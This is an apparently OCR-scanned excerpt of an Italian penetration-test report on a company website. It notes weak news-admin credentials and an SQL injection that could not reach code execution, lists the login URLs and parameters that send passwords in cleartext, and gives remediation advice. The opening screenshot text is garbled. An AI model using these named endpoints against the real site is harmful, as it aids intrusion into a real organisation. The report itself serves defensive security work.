[ Most Visited~  @dGetting Started [5]Latest Headlines v
Database Articoli & News |
" “ riassunto in home page pagina news
sel.
ik tesio mostia in ik testo ik immagine  data azienda
) 89
) 87
) 88 3
)85
) 83 Wanuli Strefch investe 27 Miano: La mullinazionak: Manuki Stretch Iutte Ms
milanisulla produzione  fconimliala al100% dalk famigla Manul cress ..
) 82 Newsuperine castin - Double oufput at the Manuli Stieich plant in tutte ns
Schkopau Germany. with a new super-ins 4 mis cast (o
el Distrbution growth Wanulicontinuss its inlemational growih with he 1S Ms
Wanuli Stretch 1ece nl opening of s new commercil b ...
Wagyamszag i bem
) s LINEA RIVOLUZIONARIA L'impianto parmetie fincemento di capacita. MP+MS ns
A POZZILLI produtia di16.000 fansanno
O 52 LE ECCELLENTI MP+MF MF
PRESTAZIONI DELLA
LINEA DA10.2m
O 8 ESPANSIONE IN SUD  Manuli Simtch apm nel 2002 a Curitba (slafo dal MP+MS ns
AMERICA: NASCE Pamna) ssconda citta industriaks in Br
WANULI FITASA 0O
BRASIL =
=
Done 7]
f =)
El @ wmanuli Stretch - Str... ‘ ric@ubuntu: foptfwe... H |+ [WebScarab] ‘ @ Manuli Packaging - ... ” @ Ssource of: hitpijww... | M ¢ |

Figura 10 - Pannello di amministrazione delle News

Indipendentemente dalla presenza o meno della vulnerabilita in esame, si consiglia fortemente di cambiare le
credenziali di accesso alla pagina di gestione delle news, in quanto utente ¢ password correnti sono
decisamente deboli e facili da indovinare.

Non ¢ stato possibile sfruttare la SQL injection per eseguire codice sull'host, poiché le funzioni necessarie
risultano essere disabilitate nel database Access utilizzato, ma potrebbe essere possibile modificare i dati o le

tabelle contenute nel database remoto.
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8.7 V07 - Credenziali di login passate in chiaro

Le seguenti URL ed i parametri indicati sono risultati vulnerabili:

URL Parametri vulnerabili
http://www.manulistretch.it/de/products/tds/login.cfm TdsPwd
http://www.manulistretch.it/en/pallet_wrap_products/login.cfm TdsPwd
http://www.manulistretch.it/es/products/tds/login.cfm TdsPwd
http://www.manulistretch.it/fr/products/tds/login.cfm TdsPwd
http://www.manulistretch.it/it/prodotti_fasciatura_bancale/login.cfm TdsPwd
http://www.manulistretch.it/photobook/login.cfm Password
http://www.manulistretch.it/fr/support/login.cfm adminPwd

Tabella 13 - URL Credenziali di login passate in chiaro
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http://www.manulistretch.it/fr/support/login.cfm
http://www.manulistretch.it/photobook/login.cfm
http://www.manulistretch.it/it/prodotti_fasciatura_bancale/login.cfm
http://www.manulistretch.it/fr/products/tds/login.cfm
http://www.manulistretch.it/es/products/tds/login.cfm
http://www.manulistretch.it/en/pallet_wrap_products/login.cfm
http://www.manulistretch.it/de/products/tds/login.cfm
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6 Conclusioni

In seguito allo svolgimento dell'attivita, si consiglia di applicare le seguenti contromisure non appena
possibile:

® Modificare il codice dell'applicazione in modo da validare lato server i dati in ingresso

® Configurare in maniera piu sicura I'applicazione web per risolvere i restanti problemi evidenziati

® Proteggere I'applicazione web attraverso un web-application firewall
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